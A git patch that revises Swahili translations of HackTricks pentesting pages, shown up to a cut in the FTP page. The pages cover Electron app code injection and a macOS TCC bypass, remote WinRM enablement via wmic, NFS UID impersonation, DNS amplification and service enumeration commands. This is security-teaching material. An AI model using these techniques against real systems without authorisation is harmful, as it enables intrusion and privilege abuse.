From 7e7eee553ad4844083b0979b4abbe1ccdced7529 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 12 Jan 2025 19:46:22 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../macos-electron-applications-injection.md | 40 +++--- .../113-pentesting-ident.md | 4 +- .../137-138-139-pentesting-netbios.md | 2 +- ...21-1522-1529-pentesting-oracle-listener.md | 2 +- .../README.md | 2 +- .../43-pentesting-whois.md | 2 +- .../5439-pentesting-redshift.md | 2 +- .../5985-5986-pentesting-winrm.md | 20 +-- .../nfs-service-pentesting.md | 20 +-- .../pentesting-dns.md | 10 +- .../pentesting-ftp/README.md | 16 +-- .../pentesting-imap.md | 8 +- .../pentesting-kerberos-88/README.md | 2 +- .../pentesting-ldap.md | 22 +-- .../README.md | 44 +++--- .../pentesting-mysql.md | 20 ++- .../pentesting-ntp.md | 10 +- .../pentesting-pop.md | 4 +- .../pentesting-rdp.md | 12 +- .../pentesting-rpcbind.md | 6 +- .../pentesting-smb.md | 52 +++---- .../pentesting-smb/README.md | 42 +++--- .../pentesting-smtp/README.md | 80 +++++------ .../pentesting-snmp/README.md | 30 ++-- .../pentesting-telnet.md | 4 +- .../pentesting-web/README.md | 98 ++++++------- .../pentesting-web/angular.md | 72 +++++----- src/pentesting-web/file-upload/README.md | 30 ++-- .../oauth-to-account-takeover.md | 28 ++-- .../other-js-tricks.md | 14 +- src/todo/cookies-policy.md | 2 +- src/welcome/hacktricks-values-and-faq.md | 30 ++-- .../active-directory-methodology/README.md | 132 +++++++++--------- .../lateral-movement/README.md | 2 +- 34 files changed, 431 insertions(+), 433 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 3b82d4a98..b9b988df6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -12,9 +12,9 @@ Na node ina **parameta** na **env variables** ambazo zinaweza kutumika **kufanya Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama** kadhaa ili kuzuia hizo. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kuchukua nambari zisizo za kawaida**: - **`RunAsNode`**: Ikiwa imezimwa, inazuia matumizi ya env var **`ELECTRON_RUN_AS_NODE`** kuingiza nambari. -- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Inazuia njia hii kuingiza nambari. -- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **`asar`** **faili** iliyopakiwa itathibitishwa na macOS. **Inazuia** njia hii **kuingiza nambari** kwa kubadilisha maudhui ya faili hii. -- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua tu na kutumia app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kuchukua nambari zisizothibitishwa**. +- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Inakwepa njia hii ya kuingiza nambari. +- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **faili** ya **`asar`** itathibitishwa na macOS. **Ikizuia** njia hii **kuingiza nambari** kwa kubadilisha maudhui ya faili hii. +- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua na kutumia tu app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kuchukua nambari zisizo thibitishwa**. - **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari hutumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8. Fuse nyingine ya kuvutia ambayo haitazuia kuingiza nambari ni: @@ -37,40 +37,40 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Modifying Electron Fuses +### Kubadilisha Fuse za Electron -Kama [**nyaraka zinavyosema**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), usanidi wa **Electron Fuses** umewekwa ndani ya **Electron binary** ambayo ina mahali fulani mfuatano wa **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Kama [**nyaraka zinavyosema**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), usanidi wa **Fuse za Electron** umewekwa ndani ya **binary ya Electron** ambayo ina mahali fulani mfuatano wa herufi **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. Katika programu za macOS, hii kwa kawaida iko katika `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -You could load this file in [https://hexed.it/](https://hexed.it/) and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (`0x30` is `0` and `0x31` is `1`) to **modify the fuse values**. +Unaweza kupakia faili hii katika [https://hexed.it/](https://hexed.it/) na kutafuta mfuatano wa awali. Baada ya mfuatano huu unaweza kuona katika ASCII nambari "0" au "1" ikionyesha kama kila fuse imezimwa au imewezeshwa. Badilisha tu msimbo wa hex (`0x30` ni `0` na `0x31` ni `1`) ili **kubadilisha thamani za fuse**.
-Note that if you try to **overwrite** the **`Electron Framework` binary** inside an application with these bytes modified, the app won't run. +Kumbuka kwamba ukijaribu **kuandika upya** **`Electron Framework` binary** ndani ya programu kwa bytes hizi zilizobadilishwa, programu hiyo haitafanya kazi. -## RCE adding code to Electron Applications +## RCE kuongeza msimbo kwenye Programu za Electron -There could be **external JS/HTML files** that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app. +Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumia, hivyo mshambuliaji anaweza kuingiza msimbo katika faili hizi ambazo saini yake haitakaguliwa na kutekeleza msimbo wa kiholela katika muktadha wa programu. > [!CAUTION] -> However, at the moment there are 2 limitations: +> Hata hivyo, kwa sasa kuna vizuizi 2: > -> - The **`kTCCServiceSystemPolicyAppBundles`** permission is **needed** to modify an App, so by default this is no longer possible. -> - The compiled **`asap`** file usually has the fuses **`embeddedAsarIntegrityValidation`** `and` **`onlyLoadAppFromAsar`** `enabled` +> - Ruhusa ya **`kTCCServiceSystemPolicyAppBundles`** inahitajika kubadilisha Programu, hivyo kwa kawaida hii haiwezekani tena. +> - Faili iliyokusanywa ya **`asap`** kwa kawaida ina fuse **`embeddedAsarIntegrityValidation`** `na` **`onlyLoadAppFromAsar`** `imewezeshwa` > -> Making this attack path more complicated (or impossible). +> Hii inafanya njia hii ya shambulio kuwa ngumu zaidi (au haiwezekani). -Note that it's possible to bypass the requirement of **`kTCCServiceSystemPolicyAppBundles`** by copying the application to another directory (like **`/tmp`**), renaming the folder **`app.app/Contents`** to **`app.app/NotCon`**, **modifying** the **asar** file with your **malicious** code, renaming it back to **`app.app/Contents`** and executing it. +Kumbuka kwamba inawezekana kupita hitaji la **`kTCCServiceSystemPolicyAppBundles`** kwa kunakili programu hiyo kwenye saraka nyingine (kama **`/tmp`**), kubadilisha jina la folda **`app.app/Contents`** kuwa **`app.app/NotCon`**, **kubadilisha** faili la **asar** kwa msimbo wako **mbaya**, kubadilisha jina lake kurudi kuwa **`app.app/Contents`** na kuitekeleza. -You can unpack the code from the asar file with: +Unaweza kufungua msimbo kutoka kwa faili la asar kwa: ```bash npx asar extract app.asar app-decomp ``` -Na uifunge tena baada ya kuibadilisha na: +Na uifunge tena baada ya kuibadilisha kwa: ```bash npx asar pack app-decomp app-new.asar ``` @@ -190,18 +190,18 @@ Unaweza kutumia vibaya hii env variable katika plist ili kudumisha uvumilivu kwa ## TCC Bypass abusing Older Versions > [!TIP] -> Daemon ya TCC kutoka macOS haichunguzi toleo lililotekelezwa la programu. Hivyo kama huwezi **kuiingiza msimbo katika programu ya Electron** kwa kutumia mbinu zozote za awali unaweza kupakua toleo la zamani la APP na kuingiza msimbo ndani yake kwani bado itapata ruhusa za TCC (isipokuwa Trust Cache iizuie). +> Daemon ya TCC kutoka macOS haichunguzi toleo lililotekelezwa la programu. Hivyo kama huwezi **kuiingiza msimbo katika programu ya Electron** kwa kutumia mbinu zozote za awali unaweza kupakua toleo la awali la APP na kuingiza msimbo ndani yake kwani bado itapata ruhusa za TCC (isipokuwa Trust Cache iizuie). ## Run non JS Code Mbinu za awali zitakuruhusu kuendesha **msimbo wa JS ndani ya mchakato wa programu ya electron**. Hata hivyo, kumbuka kwamba **mchakato wa watoto unakimbia chini ya wasifu sawa wa sandbox** kama programu ya mzazi na **unapata ruhusa zao za TCC**.\ -Hivyo, ikiwa unataka kutumia haki za kuingia kwenye kamera au kipaza sauti kwa mfano, unaweza tu **kuendesha binary nyingine kutoka kwenye mchakato**. +Hivyo, ikiwa unataka kutumia haki za kuingia ili kufikia kamera au kipaza sauti kwa mfano, unaweza tu **kuendesha binary nyingine kutoka kwa mchakato**. ## Automatic Injection -Chombo [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kinaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Chombo hiki kitajaribu kutumia mbinu ya **`--inspect`**: +Zana [**electroniz3r**](https://github.com/r3ggi/electroniz3r) inaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Zana hii itajaribu kutumia mbinu ya **`--inspect`**: -Unahitaji kukiunda mwenyewe na unaweza kuitumia kama hii: +Unahitaji kuikamilisha mwenyewe na unaweza kuitumia kama hii: ```bash # Find electron apps ./electroniz3r list-apps diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 4a35e9fb1..a13e8616a 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -13,7 +13,7 @@ Hata hivyo, kutokana na wasiwasi wa kisasa kuhusu faragha na uwezekano wa matumi PORT STATE SERVICE 113/tcp open ident ``` -## **Uainishaji** +## **Uchunguzi** ### **Mkononi - Pata mtumiaji/Baini huduma** @@ -31,7 +31,7 @@ Makosa mengine: ### Nmap -Kwa default (\`-sC\`\`) nmap itabaini kila mtumiaji wa kila bandari inayofanya kazi: +Kwa kawaida (\`-sC\`\`) nmap itabaini kila mtumiaji wa kila bandari inayofanya kazi: ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index 1c5be3fad..f9f545682 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` ### Datagram Distribution Service -NetBIOS datagrams huruhusu mawasiliano yasiyo na muunganisho kupitia UDP, ikisaidia ujumbe wa moja kwa moja au matangazo kwa majina yote ya mtandao. Huduma hii inatumia bandari **138/udp**. +NetBIOS datagrams huruhusu mawasiliano yasiyo na muunganiko kupitia UDP, ikisaidia ujumbe wa moja kwa moja au matangazo kwa majina yote ya mtandao. Huduma hii inatumia bandari **138/udp**. ```bash PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index 01c693445..b47da78f4 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -6,7 +6,7 @@ Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kwa Oracle Corporation (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)). -Wakati wa kuhesabu Oracle hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-). +Wakati wa kuhesabu Oracle hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kwa kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-). ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index a7daf1663..680642f85 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -4,7 +4,7 @@ ## Basic Information -Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kwa Oracle Corporation (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)). +Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kampuni ya Oracle (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)). Wakati wa kuhesabu Oracle hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-). ``` diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index d50a04a9e..272cea710 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -11,7 +11,7 @@ Protokali ya **WHOIS** inatumika kama njia ya kawaida ya **kuuliza kuhusu wamili PORT STATE SERVICE 43/tcp open whois? ``` -## Kuorodhesha +## Enumerate Pata taarifa zote ambazo huduma ya whois ina kuhusu kikoa: ```bash diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index bcd36d5cf..bd4b0841f 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Taarifa za Msingi +## Basic Information Bandari hii inatumika na **Redshift** kuendesha. Kimsingi ni toleo la AWS la **PostgreSQL**. diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index f7c8dd4a7..19dbcec53 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -4,25 +4,25 @@ ## WinRM -[Windows Remote Management (WinRM)]() inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitambulisha kama kiolesura cha HTTP kwa ajili ya operesheni za WMI. +[Windows Remote Management (WinRM)]() inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitambulisha kama kiolesura cha HTTP kwa operesheni za WMI. -Uwepo wa WinRM kwenye mashine unaruhusu usimamizi wa mbali kwa urahisi kupitia PowerShell, kama ilivyo kwa SSH kwa mifumo mingine ya uendeshaji. Ili kubaini kama WinRM inafanya kazi, inashauriwa kuangalia ufunguzi wa bandari maalum: +Uwepo wa WinRM kwenye mashine unaruhusu usimamizi wa mbali kwa urahisi kupitia PowerShell, kama ilivyo kwa SSH kwa mifumo mingine ya uendeshaji. Ili kubaini ikiwa WinRM inafanya kazi, inashauriwa kuangalia ufunguzi wa bandari maalum: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -Bandari iliyo wazi kutoka kwenye orodha hapo juu inaashiria kuwa WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali. +Bandari iliyo wazi kutoka kwenye orodha hapo juu inaashiria kwamba WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali. -### **Kuanza Kikao cha WinRM** +### **Kuanzisha Kikao cha WinRM** -Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta kukubali amri za PowerShell za mbali. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika: +Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta ili kukubali amri za mbali za PowerShell. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatia kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" huenda ikawa muhimu kwenye mashine ya mshambuliaji. +Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatia kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" inaweza kuwa muhimu kwenye mashine ya mshambuliaji. -Zaidi ya hayo, WinRM inaweza **kuzinduliwa kwa mbali** kwa kutumia amri ya `wmic`, kama inavyoonyeshwa hapa: +Zaidi ya hayo, WinRM inaweza ku **anzishwa kwa mbali** kwa kutumia amri ya `wmic`, kama inavyoonyeshwa hapa: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` @@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al ``` ![](<../images/image (151).png>) -Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya: +Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako ya ndani na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` @@ -107,7 +107,7 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` -Ndani ya kikao hiki unaweza kupakia skripti za PS ukitumia _Invoke-Command_ +Ndani ya kikao hiki unaweza kupakia PS scripts ukitumia _Invoke-Command_ ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` @@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` -### Kutumia script ya ruby +### Kutumia skripti ya ruby **Msimbo umetolewa kutoka hapa:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) ```ruby diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 984481488..e8ccead14 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -4,25 +4,25 @@ ## **Basic Information** -**NFS** ni mfumo ulioandaliwa kwa ajili ya **mteja/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya directory ya ndani. +**NFS** ni mfumo ulioandaliwa kwa ajili ya **client/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya directory ya ndani. -Sifa muhimu ya protokali hii ni ukosefu wa **uthibitishaji** au **mekanismi yaidhinisha** iliyojengwa ndani. Badala yake, idhini inategemea **taarifa za mfumo wa faili**, ambapo server ina jukumu la kutafsiri kwa usahihi **taarifa za mtumiaji zilizotolewa na mteja** katika **format ya idhini** inayohitajika na mfumo wa faili, ikifuata hasa **sintaksia ya UNIX**. +Sifa muhimu ya protokali hii ni ukosefu wa **uthibitishaji** au **mitambo ya ruhusa** iliyojengwa ndani. Badala yake, ruhusa inategemea **taarifa za mfumo wa faili**, ambapo seva inawajibika kutafsiri kwa usahihi **taarifa za mtumiaji zilizotolewa na mteja** katika **format ya ruhusa** inayohitajika na mfumo wa faili, ikifuata hasa **sintaksia ya UNIX**. -Uthibitishaji kwa kawaida unategemea **vitambulisho vya `UID`/`GID` vya UNIX na uanachama wa vikundi**. Hata hivyo, changamoto inatokea kutokana na uwezekano wa kutofautiana katika **mappings ya `UID`/`GID`** kati ya wateja na seva, na kuacha nafasi ya kuthibitisha zaidi na seva. Kwa hivyo, protokali hii inafaa zaidi kutumika ndani ya **mitandao ya kuaminika**, kutokana na kutegemea njia hii ya uthibitishaji. +Uthibitishaji kwa kawaida unategemea **vitambulisho vya `UID`/`GID` vya UNIX na uanachama wa vikundi**. Hata hivyo, changamoto inajitokeza kutokana na uwezekano wa kutofautiana katika **mappings ya `UID`/`GID`** kati ya wateja na seva, na kuacha nafasi ya kuthibitisha zaidi na seva. Kwa hivyo, protokali hii inafaa zaidi kutumika ndani ya **mitandao ya kuaminika**, kutokana na kutegemea njia hii ya uthibitishaji. -**Port ya default**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP). +**Port ya kawaida**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP). ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` ### Versions -- **NFSv2**: Toleo hili linatambulika kwa ufanisi wake mpana na mifumo mbalimbali, likionyesha umuhimu wake katika operesheni za awali hasa kupitia UDP. Kwa kuwa **zamani** zaidi katika mfululizo, lilianzisha msingi wa maendeleo ya baadaye. +- **NFSv2**: Toleo hili linatambulika kwa ufanisi wake mpana na mifumo mbalimbali, likionyesha umuhimu wake katika operesheni za awali hasa kupitia UDP. Kwa kuwa **zamani** zaidi katika mfululizo, lilijenga msingi wa maendeleo ya baadaye. -- **NFSv3**: Iliyotambulishwa kwa mfululizo wa maboresho, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na vikwazo katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2. +- **NFSv3**: Iliyotambulishwa kwa mabadiliko mbalimbali, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na mipaka katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2. - **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita kupitia moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na utambulisho wa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili mtandaoni. -Kila toleo la NFS limeandaliwa kwa nia ya kukabiliana na mahitaji yanayobadilika ya mazingira ya mtandao, ikiongeza hatua kwa hatua usalama, ufanisi, na utendaji. +Kila toleo la NFS limeandaliwa kwa nia ya kukabiliana na mahitaji yanayobadilika ya mazingira ya mtandao, ikiongeza usalama, ufanisi, na utendaji kwa hatua kwa hatua. ## Enumeration @@ -42,7 +42,7 @@ Ili kujua **ni folda ipi** ambayo server **inapatikana** kuunganishwa, unaweza k ```bash showmount -e ``` -Kisha pandisha kutumia: +Kisha pandisha kwa kutumia: ```bash mount -t nfs [-o vers=2] : -o nolock ``` @@ -55,11 +55,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` ## Permissions -Ikiwa unachomeka folda ambayo ina **faili au folda zinazopatikana tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** eneo la ndani mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kupata** faili/folda. +Ikiwa unakata folder ambayo ina **files au folders ambazo zinaweza kufikiwa tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** eneo la ndani mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kufikia** file/folder. ## NSFShell -Ili orodhesha kwa urahisi, kuchomeka na kubadilisha UID na GID ili kupata faili unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell). +Ili orodhesha kwa urahisi, kukata na kubadilisha UID na GID ili kupata ufikiaji wa files unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell). [Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 642c82f5c..cb061a720 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -5,7 +5,7 @@ ## **Basic Information** -The **Domain Name System (DNS)** inatumika kama directory ya mtandao, ikiruhusu watumiaji kufikia tovuti kupitia **majina ya kikoa ambayo ni rahisi kukumbuka** kama google.com au facebook.com, badala ya anwani za nambari za Internet Protocol (IP). Kwa kutafsiri majina ya kikoa kuwa anwani za IP, DNS inahakikisha kwamba vivinjari vya wavuti vinaweza kupakia rasilimali za mtandao haraka, ikifanya iwe rahisi jinsi tunavyosafiri katika ulimwengu wa mtandao. +The **Domain Name System (DNS)** inatoa kama directory ya mtandao, ikiruhusu watumiaji kufikia tovuti kupitia **majina ya kikoa ambayo ni rahisi kukumbuka** kama google.com au facebook.com, badala ya anwani za nambari za Internet Protocol (IP). Kwa kutafsiri majina ya kikoa kuwa anwani za IP, DNS inahakikisha kwamba vivinjari vya wavuti vinaweza kupakia rasilimali za mtandao haraka, ikifanya iwe rahisi jinsi tunavyosafiri katika ulimwengu wa mtandao. **Default port:** 53 ``` @@ -136,7 +136,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns ``` ### DNS Recursion DDoS -Ikiwa **DNS recursion imewezeshwa**, mshambuliaji anaweza **kudanganya** **asilimia** kwenye pakiti ya UDP ili kufanya **DNS itume jibu kwa seva ya mwathirika**. Mshambuliaji anaweza kutumia aina za rekodi **ANY** au **DNSSEC** kwani zinatumika kuwa na majibu makubwa.\ +Ikiwa **DNS recursion imewezeshwa**, mshambuliaji anaweza **kudanganya** **chanzo** kwenye pakiti ya UDP ili kufanya **DNS itume jibu kwa seva ya mwathirika**. Mshambuliaji anaweza kutumia aina za rekodi **ANY** au **DNSSEC** kwani zinatumika kuwa na majibu makubwa.\ Njia ya **kuangalia** ikiwa DNS inasaidia **recursion** ni kuuliza jina la kikoa na **kuangalia** ikiwa **bendera "ra"** (_recursion available_) iko kwenye jibu: ```bash dig google.com A @ @@ -150,9 +150,9 @@ dig google.com A @ ![](<../images/image (146).png>) -### Barua pepe kwa akaunti isiyokuwepo +### Barua pepe kwa akaunti isiyopo -**Kutuma barua pepe kwa anwani isiyokuwepo** kwa kutumia kikoa cha mwathirika kunaweza kusababisha mwathirika kutuma ujumbe wa arifa ya kutofika (NDN) ambao **vichwa** vyake vinaweza kuwa na taarifa za kuvutia kama vile **jina la seva za ndani na anwani za IP**. +**Kutuma barua pepe kwa anwani isiyopo** kwa kutumia kikoa cha mwathirika kunaweza kusababisha mwathirika kutuma ujumbe wa arifa ya kutofika (NDN) ambao **vichwa** vyake vinaweza kuwa na taarifa za kuvutia kama vile **jina la seva za ndani na anwani za IP**. ## Baada ya Utekelezaji @@ -167,7 +167,7 @@ host.conf /etc/bind/named.conf.log /etc/bind/* ``` -## Marejeleo +## Marejeo - [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) - Kitabu: **Network Security Assessment 3rd edition** diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 923c26f13..66a517ba8 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ 